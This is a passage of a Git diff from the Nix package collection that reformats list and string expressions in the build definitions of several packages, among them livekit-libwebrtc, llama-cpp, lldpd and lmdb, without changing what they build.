@@ -32,26 +32,26 @@ rustPlatform.buildRustPackage rec {
     asciidoctor
   ];
 
-  buildInputs =
-    [ sqlite ]
-    ++ (
-      if stdenv.hostPlatform.isDarwin then
-        [
-          libiconv
-        ]
-      else
-        [
-          openssl
-        ]
-    );
+  buildInputs = [
+    sqlite
+  ]
+  ++ (
+    if stdenv.hostPlatform.isDarwin then
+      [
+        libiconv
+      ]
+    else
+      [
+        openssl
+      ]
+  );
 
-  buildFeatures =
-    [
-      "shell_completion"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      "systemd"
-    ];
+  buildFeatures = [
+    "shell_completion"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    "systemd"
+  ];
 
   postInstall = ''
     installShellCompletion \
diff --git a/pkgs/by-name/li/littlegptracker/package.nix b/pkgs/by-name/li/littlegptracker/package.nix
index 12e6940ccc87..62d0dca5bd3d 100644
--- a/pkgs/by-name/li/littlegptracker/package.nix
+++ b/pkgs/by-name/li/littlegptracker/package.nix
@@ -27,10 +27,11 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
     python
   ];
-  buildInputs =
-    [ SDL2 ]
-    ++ lib.optional (lib.meta.availableOn stdenv.hostPlatform alsa-lib) alsa-lib
-    ++ lib.optional stdenv.hostPlatform.isLinux jack2;
+  buildInputs = [
+    SDL2
+  ]
+  ++ lib.optional (lib.meta.availableOn stdenv.hostPlatform alsa-lib) alsa-lib
+  ++ lib.optional stdenv.hostPlatform.isLinux jack2;
 
   preBuild = ''
     cd projects
diff --git a/pkgs/by-name/li/live555/package.nix b/pkgs/by-name/li/live555/package.nix
index 84ccfaa25b97..aa85d42d1523 100644
--- a/pkgs/by-name/li/live555/package.nix
+++ b/pkgs/by-name/li/live555/package.nix
@@ -62,27 +62,26 @@ stdenv.mkDerivation (finalAttrs: {
   # required for whitespaces in makeFlags
   __structuredAttrs = true;
 
-  postPatch =
-    ''
-      substituteInPlace config.macosx-catalina \
-        --replace '/usr/lib/libssl.46.dylib' "${lib.getLib openssl}/lib/libssl.dylib" \
-        --replace '/usr/lib/libcrypto.44.dylib' "${lib.getLib openssl}/lib/libcrypto.dylib"
-      sed -i -e 's|/bin/rm|rm|g' genMakefiles
-      sed -i \
-        -e 's/$(INCLUDES) -I. -O2 -DSOCKLEN_T/$(INCLUDES) -I. -O2 -I. -fPIC -DRTSPCLIENT_SYNCHRONOUS_INTERFACE=1 -DSOCKLEN_T/g' \
-        config.linux
-    ''
-    # condition from icu/base.nix
-    +
-      lib.optionalString
-        (lib.elem stdenv.hostPlatform.libc [
-          "glibc"
-          "musl"
-        ])
-        ''
-          substituteInPlace liveMedia/include/Locale.hh \
-            --replace '<xlocale.h>' '<locale.h>'
-        '';
+  postPatch = ''
+    substituteInPlace config.macosx-catalina \
+      --replace '/usr/lib/libssl.46.dylib' "${lib.getLib openssl}/lib/libssl.dylib" \
+      --replace '/usr/lib/libcrypto.44.dylib' "${lib.getLib openssl}/lib/libcrypto.dylib"
+    sed -i -e 's|/bin/rm|rm|g' genMakefiles
+    sed -i \
+      -e 's/$(INCLUDES) -I. -O2 -DSOCKLEN_T/$(INCLUDES) -I. -O2 -I. -fPIC -DRTSPCLIENT_SYNCHRONOUS_INTERFACE=1 -DSOCKLEN_T/g' \
+      config.linux
+  ''
+  # condition from icu/base.nix
+  +
+    lib.optionalString
+      (lib.elem stdenv.hostPlatform.libc [
+        "glibc"
+        "musl"
+      ])
+      ''
+        substituteInPlace liveMedia/include/Locale.hh \
+          --replace '<xlocale.h>' '<locale.h>'
+      '';
 
   configurePhase =
     let
diff --git a/pkgs/by-name/li/livekit-libwebrtc/package.nix b/pkgs/by-name/li/livekit-libwebrtc/package.nix
index 3c392e3b6036..fe5235d5b492 100644
--- a/pkgs/by-name/li/livekit-libwebrtc/package.nix
+++ b/pkgs/by-name/li/livekit-libwebrtc/package.nix
@@ -78,91 +78,89 @@ stdenv.mkDerivation {
 
   src = "${sources}/src";
 
-  patches =
-    [
-      # Adds missing dependencies to generated LICENSE
-      (fetchpatch {
-        url = "https://raw.githubusercontent.com/livekit/rust-sdks/b41861c7b71762d5d85b3de07ae67ffcae7c3fa2/webrtc-sys/libwebrtc/patches/add_licenses.patch";
-        hash = "sha256-9A4KyRW1K3eoQxsTbPX0vOnj66TCs2Fxjpsu5wO8mGI=";
-      })
-      # Fixes the certificate chain, required for Let's Encrypt certs
-      (fetchpatch {
-        url = "https://raw.githubusercontent.com/livekit/rust-sdks/b41861c7b71762d5d85b3de07ae67ffcae7c3fa2/webrtc-sys/libwebrtc/patches/ssl_verify_callback_with_native_handle.patch";
-        hash = "sha256-/gneuCac4VGJCWCjJZlgLKFOTV+x7Lc5KVFnNIKenwM=";
-      })
-      # Adds dependencies and features required by livekit
-      (fetchpatch {
-        url = "https://raw.githubusercontent.com/livekit/rust-sdks/b41861c7b71762d5d85b3de07ae67ffcae7c3fa2/webrtc-sys/libwebrtc/patches/add_deps.patch";
-        hash = "sha256-EMNYcTcBYh51Tt96+HP43ND11qGKClfx3xIPQmIBSo0=";
-      })
-      # Fixes "error: no matching member function for call to 'emplace'"
-      (fetchpatch {
-        url = "https://raw.githubusercontent.com/zed-industries/livekit-rust-sdks/refs/heads/main/webrtc-sys/libwebrtc/patches/abseil_use_optional.patch";
-        hash = "sha256-FOwlwOqgv5IEBCMogPACbXXxdNhGzpYcVfsolcwA7qU=";
+  patches = [
+    # Adds missing dependencies to generated LICENSE
+    (fetchpatch {
+      url = "https://raw.githubusercontent.com/livekit/rust-sdks/b41861c7b71762d5d85b3de07ae67ffcae7c3fa2/webrtc-sys/libwebrtc/patches/add_licenses.patch";
+      hash = "sha256-9A4KyRW1K3eoQxsTbPX0vOnj66TCs2Fxjpsu5wO8mGI=";
+    })
+    # Fixes the certificate chain, required for Let's Encrypt certs
+    (fetchpatch {
+      url = "https://raw.githubusercontent.com/livekit/rust-sdks/b41861c7b71762d5d85b3de07ae67ffcae7c3fa2/webrtc-sys/libwebrtc/patches/ssl_verify_callback_with_native_handle.patch";
+      hash = "sha256-/gneuCac4VGJCWCjJZlgLKFOTV+x7Lc5KVFnNIKenwM=";
+    })
+    # Adds dependencies and features required by livekit
+    (fetchpatch {
+      url = "https://raw.githubusercontent.com/livekit/rust-sdks/b41861c7b71762d5d85b3de07ae67ffcae7c3fa2/webrtc-sys/libwebrtc/patches/add_deps.patch";
+      hash = "sha256-EMNYcTcBYh51Tt96+HP43ND11qGKClfx3xIPQmIBSo0=";
+    })
+    # Fixes "error: no matching member function for call to 'emplace'"
+    (fetchpatch {
+      url = "https://raw.githubusercontent.com/zed-industries/livekit-rust-sdks/refs/heads/main/webrtc-sys/libwebrtc/patches/abseil_use_optional.patch";
+      hash = "sha256-FOwlwOqgv5IEBCMogPACbXXxdNhGzpYcVfsolcwA7qU=";
 
-        extraPrefix = "third_party/";
-        stripLen = 1;
-      })
-      # Required for dynamically linking to ffmpeg libraries and exposing symbols
-      ./0001-shared-libraries.patch
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      ./0002-disable-narrowing-const-reference.patch
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      # GCC does not support C11 _Generic in C++ mode. Fixes boringssl build with GCC
-      (fetchpatch {
-        name = "fix-gcc-c11-generic-boringssl";
+      extraPrefix = "third_party/";
+      stripLen = 1;
+    })
+    # Required for dynamically linking to ffmpeg libraries and exposing symbols
+    ./0001-shared-libraries.patch
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    ./0002-disable-narrowing-const-reference.patch
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    # GCC does not support C11 _Generic in C++ mode. Fixes boringssl build with GCC
+    (fetchpatch {
+      name = "fix-gcc-c11-generic-boringssl";
 
-        url = "https://github.com/google/boringssl/commit/c70190368c7040c37c1d655f0690bcde2b109a0d.patch";
-        hash = "sha256-xkmYulDOw5Ny5LOCl7rsheZSFbSF6md2NkZ3+azjFQk=";
-        stripLen = 1;
-        extraPrefix = "third_party/boringssl/src/";
-      })
-    ];
+      url = "https://github.com/google/boringssl/commit/c70190368c7040c37c1d655f0690bcde2b109a0d.patch";
+      hash = "sha256-xkmYulDOw5Ny5LOCl7rsheZSFbSF6md2NkZ3+azjFQk=";
+      stripLen = 1;
+      extraPrefix = "third_party/boringssl/src/";
+    })
+  ];
 
-  postPatch =
-    ''
-      substituteInPlace .gn \
-        --replace-fail "vpython3" "python3"
+  postPatch = ''
+    substituteInPlace .gn \
+      --replace-fail "vpython3" "python3"
 
-      substituteInPlace tools/generate_shim_headers/generate_shim_headers.py \
-        --replace-fail "OFFICIAL_BUILD" "GOOGLE_CHROME_BUILD"
+    substituteInPlace tools/generate_shim_headers/generate_shim_headers.py \
+      --replace-fail "OFFICIAL_BUILD" "GOOGLE_CHROME_BUILD"
 
-      substituteInPlace BUILD.gn \
-        --replace-fail "rtc_static_library" "rtc_shared_library" \
-        --replace-fail "complete_static_lib = true" ""
+    substituteInPlace BUILD.gn \
+      --replace-fail "rtc_static_library" "rtc_shared_library" \
+      --replace-fail "complete_static_lib = true" ""
 
-      substituteInPlace webrtc.gni \
-        --replace-fail "!build_with_chromium && is_component_build" "false"
+    substituteInPlace webrtc.gni \
+      --replace-fail "!build_with_chromium && is_component_build" "false"
 
-      substituteInPlace rtc_tools/BUILD.gn \
-        --replace-fail "\":frame_analyzer\"," ""
+    substituteInPlace rtc_tools/BUILD.gn \
+      --replace-fail "\":frame_analyzer\"," ""
 
-      for lib in ${toString (builtins.attrNames gnSystemLibraries)}; do
-        if [ -d "third_party/$lib" ]; then
-          find "third_party/$lib" -type f \
-            \! -path "third_party/$lib/chromium/*" \
-            \! -path "third_party/$lib/google/*" \
-            \! -path "third_party/harfbuzz-ng/utils/hb_scoped.h" \
-            \! -regex '.*\.\(gn\|gni\|isolate\)' \
-            \! -name 'LICENSE*' \
-            \! -name 'COPYING*' \
-            -delete
-        fi
-      done
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      ln -sf ${lib.getExe gn} buildtools/linux64/gn
-      substituteInPlace build/toolchain/linux/BUILD.gn \
-        --replace 'toolprefix = "aarch64-linux-gnu-"' 'toolprefix = ""'
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      ln -sf ${lib.getExe gn} buildtools/mac/gn
-      chmod +x build/toolchain/apple/linker_driver.py
-      patchShebangs build/toolchain/apple/linker_driver.py
-      substituteInPlace build/toolchain/apple/toolchain.gni --replace-fail "/bin/cp -Rc" "cp -a"
-    '';
+    for lib in ${toString (builtins.attrNames gnSystemLibraries)}; do
+      if [ -d "third_party/$lib" ]; then
+        find "third_party/$lib" -type f \
+          \! -path "third_party/$lib/chromium/*" \
+          \! -path "third_party/$lib/google/*" \
+          \! -path "third_party/harfbuzz-ng/utils/hb_scoped.h" \
+          \! -regex '.*\.\(gn\|gni\|isolate\)' \
+          \! -name 'LICENSE*' \
+          \! -name 'COPYING*' \
+          -delete
+      fi
+    done
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    ln -sf ${lib.getExe gn} buildtools/linux64/gn
+    substituteInPlace build/toolchain/linux/BUILD.gn \
+      --replace 'toolprefix = "aarch64-linux-gnu-"' 'toolprefix = ""'
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    ln -sf ${lib.getExe gn} buildtools/mac/gn
+    chmod +x build/toolchain/apple/linker_driver.py
+    patchShebangs build/toolchain/apple/linker_driver.py
+    substituteInPlace build/toolchain/apple/toolchain.gni --replace-fail "/bin/cp -Rc" "cp -a"
+  '';
 
   outputs = [
     "dev"
@@ -185,18 +183,19 @@ stdenv.mkDerivation {
     ]
     ++ lib.optionals stdenv.hostPlatform.isDarwin [ xcbuild ];
 
-  buildInputs =
-    [ nasm ]
-    ++ (lib.mapAttrsToList (_: library: library.package) gnSystemLibraries)
-    ++ (lib.optionals stdenv.hostPlatform.isLinux [
-      glib
-      alsa-lib
-      pulseaudio
-    ])
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      apple-sdk_14
-      (darwinMinVersionHook "12.3")
-    ];
+  buildInputs = [
+    nasm
+  ]
+  ++ (lib.mapAttrsToList (_: library: library.package) gnSystemLibraries)
+  ++ (lib.optionals stdenv.hostPlatform.isLinux [
+    glib
+    alsa-lib
+    pulseaudio
+  ])
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    apple-sdk_14
+    (darwinMinVersionHook "12.3")
+  ];
 
   preConfigure = ''
     echo "generate_location_tags = true" >> build/config/gclient_args.gni
@@ -206,56 +205,56 @@ stdenv.mkDerivation {
         --system-libraries ${toString (builtins.attrNames gnSystemLibraries)}
   '';
 
-  gnFlags =
-    [
-      "is_debug=false"
-      "rtc_include_tests=false"
-      ''target_os="${gnOs}"''
-      ''target_cpu="${gnArch}"''
-      "treat_warnings_as_errors=false"
-      "rtc_enable_protobuf=false"
-      "rtc_include_tests=false"
-      "rtc_build_examples=false"
-      "rtc_build_tools=false"
-      "rtc_libvpx_build_vp9=true"
-      "enable_libaom=true"
-      "use_dummy_lastchange=true"
-      "is_component_build=true"
-      "enable_stripping=true"
-      "rtc_use_h264=true"
-      "use_custom_libcxx=false"
-      "use_rtti=true"
-    ]
-    ++ (lib.optionals stdenv.hostPlatform.isLinux [
-      "use_goma=false"
-      "rtc_use_pipewire=false"
-      "symbol_level=0"
-      "enable_iterator_debugging=false"
-      "rtc_use_x11=false"
-      "use_sysroot=false"
-      "is_clang=false"
-    ])
-    ++ (lib.optionals stdenv.hostPlatform.isDarwin [
-      ''mac_deployment_target="12.3"''
-      "rtc_enable_symbol_export=true"
-      "rtc_enable_objc_symbol_export=true"
-      "rtc_include_dav1d_in_internal_decoder_factory=true"
-      "clang_use_chrome_plugins=false"
-      "use_lld=false"
-      ''clang_base_path="${clang}"''
-    ]);
+  gnFlags = [
+    "is_debug=false"
+    "rtc_include_tests=false"
+    ''target_os="${gnOs}"''
+    ''target_cpu="${gnArch}"''
+    "treat_warnings_as_errors=false"
+    "rtc_enable_protobuf=false"
+    "rtc_include_tests=false"
+    "rtc_build_examples=false"
+    "rtc_build_tools=false"
+    "rtc_libvpx_build_vp9=true"
+    "enable_libaom=true"
+    "use_dummy_lastchange=true"
+    "is_component_build=true"
+    "enable_stripping=true"
+    "rtc_use_h264=true"
+    "use_custom_libcxx=false"
+    "use_rtti=true"
+  ]
+  ++ (lib.optionals stdenv.hostPlatform.isLinux [
+    "use_goma=false"
+    "rtc_use_pipewire=false"
+    "symbol_level=0"
+    "enable_iterator_debugging=false"
+    "rtc_use_x11=false"
+    "use_sysroot=false"
+    "is_clang=false"
+  ])
+  ++ (lib.optionals stdenv.hostPlatform.isDarwin [
+    ''mac_deployment_target="12.3"''
+    "rtc_enable_symbol_export=true"
+    "rtc_enable_objc_symbol_export=true"
+    "rtc_include_dav1d_in_internal_decoder_factory=true"
+    "clang_use_chrome_plugins=false"
+    "use_lld=false"
+    ''clang_base_path="${clang}"''
+  ]);
 
-  ninjaFlags =
-    [ ":default" ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "api/audio_codecs:builtin_audio_decoder_factory"
-      "api/task_queue:default_task_queue_factory"
-      "sdk:native_api"
-      "sdk:default_codec_factory_objc"
-      "pc:peer_connection"
-      "sdk:videocapture_objc"
-      "sdk:mac_framework_objc"
-    ];
+  ninjaFlags = [
+    ":default"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "api/audio_codecs:builtin_audio_decoder_factory"
+    "api/task_queue:default_task_queue_factory"
+    "sdk:native_api"
+    "sdk:default_codec_factory_objc"
+    "pc:peer_connection"
+    "sdk:videocapture_objc"
+    "sdk:mac_framework_objc"
+  ];
 
   postBuild =
     lib.optionalString stdenv.hostPlatform.isLinux ''
@@ -267,31 +266,30 @@ stdenv.mkDerivation {
           --target ${if stdenv.hostPlatform.isDarwin then ":webrtc" else ":default"} $PWD $PWD
     '';
 
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-      mkdir -p $out/lib
-      mkdir -p $dev/include
+    mkdir -p $out/lib
+    mkdir -p $dev/include
 
-      install -m0644 obj/webrtc.ninja args.gn LICENSE.md $dev
+    install -m0644 obj/webrtc.ninja args.gn LICENSE.md $dev
 
-      pushd ../..
-      find . -name "*.h" -print | cpio -pd $dev/include
-      popd
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      install -m0644 libwebrtc.so libthird_party_boringssl.so $out/lib
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      install -m0644 WebRTC.framework/Versions/A/WebRTC $out/lib/libwebrtc.dylib
-      install -m0644 libthird_party_boringssl.dylib $out/lib
-    ''
-    + ''
-      ln -s $out/lib $dev/lib
+    pushd ../..
+    find . -name "*.h" -print | cpio -pd $dev/include
+    popd
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    install -m0644 libwebrtc.so libthird_party_boringssl.so $out/lib
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    install -m0644 WebRTC.framework/Versions/A/WebRTC $out/lib/libwebrtc.dylib
+    install -m0644 libthird_party_boringssl.dylib $out/lib
+  ''
+  + ''
+    ln -s $out/lib $dev/lib
 
-      runHook postInstall
-    '';
+    runHook postInstall
+  '';
 
   postFixup = lib.optionalString stdenv.hostPlatform.isDarwin ''
     boringssl="$out/lib/libthird_party_boringssl.dylib"
diff --git a/pkgs/by-name/ll/llama-cpp/package.nix b/pkgs/by-name/ll/llama-cpp/package.nix
index 2d84289aff86..a9cdc5e81563 100644
--- a/pkgs/by-name/ll/llama-cpp/package.nix
+++ b/pkgs/by-name/ll/llama-cpp/package.nix
@@ -103,17 +103,16 @@ effectiveStdenv.mkDerivation (finalAttrs: {
       --replace-fail 'build_commit="unknown"' "build_commit=\"$(cat COMMIT)\""
   '';
 
-  nativeBuildInputs =
-    [
-      cmake
-      ninja
-      pkg-config
-      git
-    ]
-    ++ optionals cudaSupport [
-      cudaPackages.cuda_nvcc
-      autoAddDriverRunpath
-    ];
+  nativeBuildInputs = [
+    cmake
+    ninja
+    pkg-config
+    git
+  ]
+  ++ optionals cudaSupport [
+    cudaPackages.cuda_nvcc
+    autoAddDriverRunpath
+  ];
 
   buildInputs =
     optionals cudaSupport cudaBuildInputs
@@ -123,50 +122,48 @@ effectiveStdenv.mkDerivation (finalAttrs: {
     ++ optionals vulkanSupport vulkanBuildInputs
     ++ [ curl ];
 
-  cmakeFlags =
-    [
-      # -march=native is non-deterministic; override with platform-specific flags if needed
-      (cmakeBool "GGML_NATIVE" false)
-      (cmakeBool "LLAMA_BUILD_SERVER" true)
-      (cmakeBool "LLAMA_CURL" true)
-      (cmakeBool "BUILD_SHARED_LIBS" true)
-      (cmakeBool "GGML_BLAS" blasSupport)
-      (cmakeBool "GGML_CLBLAST" openclSupport)
-      (cmakeBool "GGML_CUDA" cudaSupport)
-      (cmakeBool "GGML_HIP" rocmSupport)
-      (cmakeBool "GGML_METAL" metalSupport)
-      (cmakeBool "GGML_RPC" rpcSupport)
-      (cmakeBool "GGML_VULKAN" vulkanSupport)
-    ]
-    ++ optionals cudaSupport [
-      (cmakeFeature "CMAKE_CUDA_ARCHITECTURES" cudaPackages.flags.cmakeCudaArchitecturesString)
-    ]
-    ++ optionals rocmSupport ([
-      (cmakeFeature "CMAKE_HIP_COMPILER" "${rocmPackages.clr.hipClangPath}/clang++")
-      # TODO: this should become `clr.gpuTargets` in the future.
-      (cmakeFeature "CMAKE_HIP_ARCHITECTURES" rocmPackages.rocblas.amdgpu_targets)
-    ])
-    ++ optionals metalSupport [
-      (cmakeFeature "CMAKE_C_FLAGS" "-D__ARM_FEATURE_DOTPROD=1")
-      (cmakeBool "LLAMA_METAL_EMBED_LIBRARY" true)
-    ]
-    ++ optionals rpcSupport [
-      # This is done so we can move rpc-server out of bin because llama.cpp doesn't
-      # install rpc-server in their install target.
-      "-DCMAKE_SKIP_BUILD_RPATH=ON"
-    ];
+  cmakeFlags = [
+    # -march=native is non-deterministic; override with platform-specific flags if needed
+    (cmakeBool "GGML_NATIVE" false)
+    (cmakeBool "LLAMA_BUILD_SERVER" true)
+    (cmakeBool "LLAMA_CURL" true)
+    (cmakeBool "BUILD_SHARED_LIBS" true)
+    (cmakeBool "GGML_BLAS" blasSupport)
+    (cmakeBool "GGML_CLBLAST" openclSupport)
+    (cmakeBool "GGML_CUDA" cudaSupport)
+    (cmakeBool "GGML_HIP" rocmSupport)
+    (cmakeBool "GGML_METAL" metalSupport)
+    (cmakeBool "GGML_RPC" rpcSupport)
+    (cmakeBool "GGML_VULKAN" vulkanSupport)
+  ]
+  ++ optionals cudaSupport [
+    (cmakeFeature "CMAKE_CUDA_ARCHITECTURES" cudaPackages.flags.cmakeCudaArchitecturesString)
+  ]
+  ++ optionals rocmSupport ([
+    (cmakeFeature "CMAKE_HIP_COMPILER" "${rocmPackages.clr.hipClangPath}/clang++")
+    # TODO: this should become `clr.gpuTargets` in the future.
+    (cmakeFeature "CMAKE_HIP_ARCHITECTURES" rocmPackages.rocblas.amdgpu_targets)
+  ])
+  ++ optionals metalSupport [
+    (cmakeFeature "CMAKE_C_FLAGS" "-D__ARM_FEATURE_DOTPROD=1")
+    (cmakeBool "LLAMA_METAL_EMBED_LIBRARY" true)
+  ]
+  ++ optionals rpcSupport [
+    # This is done so we can move rpc-server out of bin because llama.cpp doesn't
+    # install rpc-server in their install target.
+    "-DCMAKE_SKIP_BUILD_RPATH=ON"
+  ];
 
   # upstream plans on adding targets at the cmakelevel, remove those
   # additional steps after that
-  postInstall =
-    ''
-      # Match previous binary name for this package
-      ln -sf $out/bin/llama-cli $out/bin/llama
+  postInstall = ''
+    # Match previous binary name for this package
+    ln -sf $out/bin/llama-cli $out/bin/llama
 
-      mkdir -p $out/include
-      cp $src/include/llama.h $out/include/
-    ''
-    + optionalString rpcSupport "cp bin/rpc-server $out/bin/llama-rpc-server";
+    mkdir -p $out/include
+    cp $src/include/llama.h $out/include/
+  ''
+  + optionalString rpcSupport "cp bin/rpc-server $out/bin/llama-rpc-server";
 
   passthru.updateScript = nix-update-script {
     attrPath = "llama-cpp";
diff --git a/pkgs/by-name/ll/lldpd/package.nix b/pkgs/by-name/ll/lldpd/package.nix
index ff6ea5e3d2a7..8089fd578c96 100644
--- a/pkgs/by-name/ll/lldpd/package.nix
+++ b/pkgs/by-name/ll/lldpd/package.nix
@@ -19,19 +19,18 @@ stdenv.mkDerivation rec {
     hash = "sha256-+H3zFj1eUTjakB0FWzhACXhdHrUP2xeiNDkQ/PMKmX8=";
   };
 
-  configureFlags =
-    [
-      "--localstatedir=/var"
-      "--enable-pie"
-      "--with-snmp"
-      "--with-systemdsystemunitdir=\${out}/lib/systemd/system"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "--with-launchddaemonsdir=no"
-      "--with-privsep-chroot=/var/empty"
-      "--with-privsep-group=nogroup"
-      "--with-privsep-user=nobody"
-    ];
+  configureFlags = [
+    "--localstatedir=/var"
+    "--enable-pie"
+    "--with-snmp"
+    "--with-systemdsystemunitdir=\${out}/lib/systemd/system"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "--with-launchddaemonsdir=no"
+    "--with-privsep-chroot=/var/empty"
+    "--with-privsep-group=nogroup"
+    "--with-privsep-user=nobody"
+  ];
 
   nativeBuildInputs = [
     pkg-config
diff --git a/pkgs/by-name/ll/llpp/package.nix b/pkgs/by-name/ll/llpp/package.nix
index 12d0e5d54c90..aba77bc08557 100644
--- a/pkgs/by-name/ll/llpp/package.nix
+++ b/pkgs/by-name/ll/llpp/package.nix
@@ -46,23 +46,22 @@ stdenv.mkDerivation rec {
     ocaml
     pkg-config
   ];
-  buildInputs =
-    [
-      mupdf
-      libX11
-      freetype
-      zlib
-      gumbo
-      jbig2dec
-      openjpeg
-      libjpeg
-      lcms2
-      harfbuzz
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libGLU
-      libGL
-    ];
+  buildInputs = [
+    mupdf
+    libX11
+    freetype
+    zlib
+    gumbo
+    jbig2dec
+    openjpeg
+    libjpeg
+    lcms2
+    harfbuzz
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libGLU
+    libGL
+  ];
 
   dontStrip = true;
 
@@ -70,22 +69,21 @@ stdenv.mkDerivation rec {
     bash ./build.bash build
   '';
 
-  installPhase =
-    ''
-      install -d $out/bin
-      install build/llpp $out/bin
-      install misc/llpp.inotify $out/bin/llpp.inotify
-      install -Dm444 misc/llpp.desktop -t $out/share/applications
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      wrapProgram $out/bin/llpp \
-          --prefix PATH ":" "${xclip}/bin"
+  installPhase = ''
+    install -d $out/bin
+    install build/llpp $out/bin
+    install misc/llpp.inotify $out/bin/llpp.inotify
+    install -Dm444 misc/llpp.desktop -t $out/share/applications
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    wrapProgram $out/bin/llpp \
+        --prefix PATH ":" "${xclip}/bin"
 
-      wrapProgram $out/bin/llpp.inotify \
-          --prefix PATH ":" "$out/bin" \
-          --prefix PATH ":" "${inotify-tools}/bin" \
-          --prefix PATH ":" "${procps}/bin"
-    '';
+    wrapProgram $out/bin/llpp.inotify \
+        --prefix PATH ":" "$out/bin" \
+        --prefix PATH ":" "${inotify-tools}/bin" \
+        --prefix PATH ":" "${procps}/bin"
+  '';
 
   meta = with lib; {
     homepage = "https://github.com/criticic/llpp";
diff --git a/pkgs/by-name/lm/lm_sensors/package.nix b/pkgs/by-name/lm/lm_sensors/package.nix
index 9fcabb816a74..9c464dcf28c4 100644
--- a/pkgs/by-name/lm/lm_sensors/package.nix
+++ b/pkgs/by-name/lm/lm_sensors/package.nix
@@ -63,7 +63,8 @@ stdenv.mkDerivation {
   buildInputs = [
     bash
     perl
-  ] ++ lib.optional sensord rrdtool;
+  ]
+  ++ lib.optional sensord rrdtool;
 
   makeFlags = [
     "PREFIX=${placeholder "out"}"
@@ -76,20 +77,20 @@ stdenv.mkDerivation {
 
     "CC=${stdenv.cc.targetPrefix}cc"
     "AR=${stdenv.cc.targetPrefix}ar"
-  ] ++ lib.optional sensord "PROG_EXTRA=sensord";
+  ]
+  ++ lib.optional sensord "PROG_EXTRA=sensord";
 
   enableParallelBuilding = true;
 
   # Making regexp to patch-out installing of .so symlinks from Makefile is
   # complicated, it is easier to remove them post-install.
-  postInstall =
-    ''
-      mkdir -p $doc/share/doc/lm_sensors
-      cp -r configs doc/* $doc/share/doc/lm_sensors
-    ''
-    + lib.optionalString stdenv.hostPlatform.isStatic ''
-      rm $out/lib/*.so*
-    '';
+  postInstall = ''
+    mkdir -p $doc/share/doc/lm_sensors
+    cp -r configs doc/* $doc/share/doc/lm_sensors
+  ''
+  + lib.optionalString stdenv.hostPlatform.isStatic ''
+    rm $out/lib/*.so*
+  '';
 
   meta = {
     homepage = "https://hwmon.wiki.kernel.org/lm_sensors";
diff --git a/pkgs/by-name/lm/lmdb/package.nix b/pkgs/by-name/lm/lmdb/package.nix
index e7ec894cf95b..1105c8412014 100644
--- a/pkgs/by-name/lm/lmdb/package.nix
+++ b/pkgs/by-name/lm/lmdb/package.nix
@@ -38,40 +38,38 @@ stdenv.mkDerivation rec {
 
   buildInputs = lib.optional stdenv.hostPlatform.isWindows windows.pthreads;
 
-  makeFlags =
-    [
-      "prefix=$(out)"
-      "CC=${stdenv.cc.targetPrefix}cc"
-      "AR=${stdenv.cc.targetPrefix}ar"
-    ]
-    ++ lib.optional stdenv.hostPlatform.isDarwin "LDFLAGS=-Wl,-install_name,$(out)/lib/liblmdb.so"
-    ++ lib.optionals stdenv.hostPlatform.isWindows [
-      "SOEXT=.dll"
-      "BINEXT=.exe"
-    ];
+  makeFlags = [
+    "prefix=$(out)"
+    "CC=${stdenv.cc.targetPrefix}cc"
+    "AR=${stdenv.cc.targetPrefix}ar"
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin "LDFLAGS=-Wl,-install_name,$(out)/lib/liblmdb.so"
+  ++ lib.optionals stdenv.hostPlatform.isWindows [
+    "SOEXT=.dll"
+    "BINEXT=.exe"
+  ];
 
   doCheck = true;
   checkTarget = "test";
 
-  postInstall =
-    ''
-      moveToOutput bin "$bin"
-    ''
-    # add lmdb.pc (dynamic only)
-    + ''
-      mkdir -p "$dev/lib/pkgconfig"
-      cat > "$dev/lib/pkgconfig/lmdb.pc" <<EOF
-      Name: lmdb
-      Description: ${meta.description}
-      Version: ${version}
+  postInstall = ''
+    moveToOutput bin "$bin"
+  ''
+  # add lmdb.pc (dynamic only)
+  + ''
+    mkdir -p "$dev/lib/pkgconfig"
+    cat > "$dev/lib/pkgconfig/lmdb.pc" <<EOF
+    Name: lmdb
+    Description: ${meta.description}
+    Version: ${version}
 
-      Cflags: -I$dev/include
-      Libs: -L$out/lib -llmdb
-      EOF
+    Cflags: -I$dev/include
+    Libs: -L$out/lib -llmdb
+    EOF
 
-      # Expected by Rust libraries.
-      ln -s lmdb.pc "$dev/lib/pkgconfig/liblmdb.pc"
-    '';
+    # Expected by Rust libraries.
+    ln -s lmdb.pc "$dev/lib/pkgconfig/liblmdb.pc"
+  '';
 
   meta = with lib; {
     description = "Lightning memory-mapped database";
diff --git a/pkgs/by-name/ln/lnav/package.nix b/pkgs/by-name/ln/lnav/package.nix
index 69face7e86a4..f063eadd7f79 100644
--- a/pkgs/by-name/ln/lnav/package.nix
+++ b/pkgs/by-name/ln/lnav/package.nix
